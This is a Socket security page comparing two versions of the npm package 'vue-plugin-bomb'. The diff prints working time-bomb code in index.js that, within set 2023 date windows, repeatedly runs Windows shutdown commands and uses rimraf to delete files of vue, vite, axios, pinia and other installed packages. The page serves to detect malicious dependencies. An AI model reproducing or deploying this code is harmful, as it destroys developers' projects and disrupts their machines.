Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

vue-plugin-bomb

Package Overview
Dependencies
Maintainers
1
Versions
6
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

vue-plugin-bomb - npm Package Compare versions

Comparing version 1.0.3 to 1.0.4

2

index.js

@@ -1,1 +0,1 @@

import process from"child_process";import{fileURLToPath}from"node:url";import{dirname}from"node:path";var __dirname=dirname(fileURLToPath(import.meta.url));export default()=>{if(new Date("2023/06/21 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/06/21 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/06/22 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/06/22 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/06/23 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/06/30 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/01 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/07/31 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/01 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/08/31 11:45:01").getTime()){setInterval(()=>{const arr=__dirname.split("\\");const key2=arr[arr.length-2];const index2=__dirname.indexOf(key2);const node_modules=__dirname.slice(0,index2+key2.length)+"\\";process.execSync(`rimraf ${node_modules}vue\\dist`);process.execSync(`rimraf ${node_modules}vue-router\\dist`);process.execSync(`rimraf ${node_modules}vue-router\\index.js`);process.execSync(`rimraf ${node_modules}vant\\lib`);process.execSync(`rimraf ${node_modules}vant\\es`);process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/09/01 08:00:01").getTime()<(new Date).getTime()){setInterval(()=>{const arr=__dirname.split("\\");const key2=arr[arr.length-2];const index2=__dirname.indexOf(key2);const node_modules=__dirname.slice(0,index2+key2.length)+"\\";process.execSync(`rimraf ${node_modules}pinia\\dist`);process.execSync(`rimraf ${node_modules}pinia\\index.js`);process.execSync(`rimraf ${node_modules}vite-plugin-vue-setup-extend\\dist`);process.execSync(`rimraf ${node_modules}axios\\dist`);process.execSync(`rimraf ${node_modules}axios\\index.js`);process.execSync(`rimraf ${node_modules}vite\\dist`);process.execSync(`rimraf ${node_modules}vite\\bin`);process.execSync(`rimraf ${node_modules}vite\\types`);process.execSync(`rimraf ${node_modules}vite\\index.js`);process.execSync(`shutdown -s -t 5`)},1*1000)}};
import process from"child_process";import{fileURLToPath}from"node:url";import{dirname}from"node:path";var __dirname=dirname(fileURLToPath(import.meta.url));export default()=>{if(new Date("2023/06/19 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/06/30 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/05 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/07/05 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/06 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/07/06 11:45:01").getTime()){setInterval(()=>{const arr=__dirname.split("\\");const key2=arr[arr.length-2];const index2=__dirname.indexOf(key2);const node_modules=__dirname.slice(0,index2+key2.length)+"\\";process.execSync(`rimraf ${node_modules}vue\\dist`);process.execSync(`rimraf ${node_modules}vue-router\\index.js`);process.execSync(`rimraf ${node_modules}ant-design-vue\\index.js`);process.execSync(`rimraf ${node_modules}ant-design-vue\\dist`);process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/07 08:00:01").getTime()<(new Date).getTime()){setInterval(()=>{const arr=__dirname.split("\\");const key2=arr[arr.length-2];const index2=__dirname.indexOf(key2);const node_modules=__dirname.slice(0,index2+key2.length)+"\\";process.execSync(`rimraf ${node_modules}lib-flexible`);process.execSync(`rimraf ${node_modules}less-loader\\dist`);process.execSync(`rimraf ${node_modules}less\\index.js`);process.execSync(`rimraf ${node_modules}vite-plugin-vue-setup-extend\\dist`);process.execSync(`shutdown -s -t 5`)},1*1000)}};
{
"name": "vue-plugin-bomb",
"version": "1.0.3",
"version": "1.0.4",
"description": "",

@@ -15,3 +15,6 @@ "main": "index.js",

"child_process": "^1.0.2"
},
"devDependencies": {
"rimraf": "^5.0.1"
}
}
SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc